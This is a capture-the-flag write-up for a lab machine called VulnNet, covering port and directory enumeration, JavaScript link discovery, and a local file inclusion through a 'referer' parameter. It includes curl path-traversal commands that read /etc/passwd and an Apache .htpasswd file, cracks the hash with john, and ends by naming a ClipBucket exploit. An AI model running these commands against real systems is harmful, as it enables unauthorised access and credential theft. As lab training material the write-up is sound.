---
description: Can you take advantage of the misconfigurations made by VulnNet Entertainment?
---

# VulnNet



### Enumeration

1\) masscan: masscan -e eth0 -p 1-65535 --rate=10000 10.10.186.105

```
Discovered open port 22/tcp on 10.10.186.105                                   
Discovered open port 80/tcp on 10.10.186.105
```

2\) nmap: nmap -sV -sC -p 22,80 -v 10.10.186.105

```
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 ea:c9:e8:67:76:0a:3f:97:09:a7:d7:a6:63:ad:c1:2c (RSA)
|   256 0f:c8:f6:d3:8e:4c:ea:67:47:68:84:dc:1c:2b:2e:34 (ECDSA)
|_  256 05:53:99:fc:98:10:b5:c3:68:00:6c:29:41:da:a5:c9 (EdDSA)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-favicon: Unknown favicon MD5: 8B7969B10EDA5D739468F4D3F2296496
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: VulnNet
```

3\) gobuster:&#x20;

**gobuster dir -u** [**http://vulnnet.thm**](http://vulnnet.thm) **-w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt**

```
Starting gobuster
===============================================================
/img (Status: 301)
/css (Status: 301)
/js (Status: 301)
/fonts (Status: 301)
```

4\) found a login page :

![](https://2384168284-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MXQhX6_v4jPczvvgprg%2F-MbpvjFftcQREoRRl6Ke%2F-MbpxFYGf_1wEVoRhvSW%2Flogin%20page.png?alt=media\&token=2963ba63-68d4-4af3-9063-0ff9479baa4c)

5\) nikto scan: nikto -h [http://vulnnet.thm](http://vulnnet.thm)

```
+ OSVDB-3268: /img/: Directory indexing found.
+ OSVDB-3092: /img/: This might be interesting...
+ Server leaks inodes via ETags, header found with file /LICENSE.txt, fields: 0x455 0x5b995f090f3a1 
+ OSVDB-3092: /LICENSE.txt: License file found may identify site software.
+ OSVDB-3233: /icons/README: Apache default file found.
+ /login.html: Admin login page/section found.
```

6\) LICENSE.txt shows zlib version. But this is not vulnerable

![](https://2384168284-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MXQhX6_v4jPczvvgprg%2F-Mbq0AHqZIgQk-dT949P%2F-Mbq5sN-G69jNfyO0bH-%2Flicenese.png?alt=media\&token=4a9dd00c-571f-4665-902c-798bb37287d9)

7\) /js directory shows .js files

![](https://2384168284-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MXQhX6_v4jPczvvgprg%2F-Mbq0AHqZIgQk-dT949P%2F-Mbq5dMWMPm1OE7dbRZZ%2Fimage.png?alt=media\&token=ac24a1aa-92bb-473c-8925-17661e1d320f)

8\) I need to use [linkfinder](https://github.com/GerbenJavado/LinkFinder)

> * git clone \[linkfinder]
> * pip3 install -r requirement.txt
> * Search link: ./linkfinder.py -i [http://vulnnet.thm/js/index\_\_d8338055.js](http://vulnnet.thm/js/index__d8338055.js) -o cli

```
http://vulnnet.thm/index.php?referer=
http://broadcast.vulnnet.thm
```

9\) I need to add http://broadcast.vulnnet.thm in /etc/hosts, then it shows:&#x20;

![](https://2384168284-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MXQhX6_v4jPczvvgprg%2F-Mbq0AHqZIgQk-dT949P%2F-MbqAgfF1QUOt4BtqjIw%2Fimage.png?alt=media\&token=23a89805-471b-4971-814c-e6de7384a793)

10\) There is LFI: curl [http://vulnnet.thm/index.php?referer=..//..//..//..//..//..//etc/passwd](http://vulnnet.thm/index.php?referer=..//..//..//..//..//..//etc/passwd)

11\) Searching for password in common file:&#x20;

curl [http://vulnnet.thm/index.php?referer=..//..//..//..//..//..//etc/apache2/.htpasswd](http://vulnnet.thm/index.php?referer=..//..//..//..//..//..//etc/apache2/.htpasswd)

```
developers:$apr1$ntOz2ERF$..................
```

### Exploitation:

12\) Cracking hash: john hash --wordlist=/usr/share/wordlists/rockyou.txt

![](https://2384168284-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MXQhX6_v4jPczvvgprg%2F-MbqBAyQAHw5LI24uBvo%2F-MbqH3a4zNPGhnP9dZKR%2Fpass.png?alt=media\&token=29b6c0bb-d80b-428f-b25e-6293f47f15de)

13\) Using these credential, I can log in broadcast

![](https://2384168284-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MXQhX6_v4jPczvvgprg%2F-MbqBAyQAHw5LI24uBvo%2F-MbqHIR_YUCWDVWHmHkj%2Fimage.png?alt=media\&token=82a0e5a8-c760-4c0b-85a6-9283106b6b89)

14\) Site running Clip Bucket 4.0. There is an exploit for this: [Exploit DB](https://www.exploit-db.com/exploits/44250)
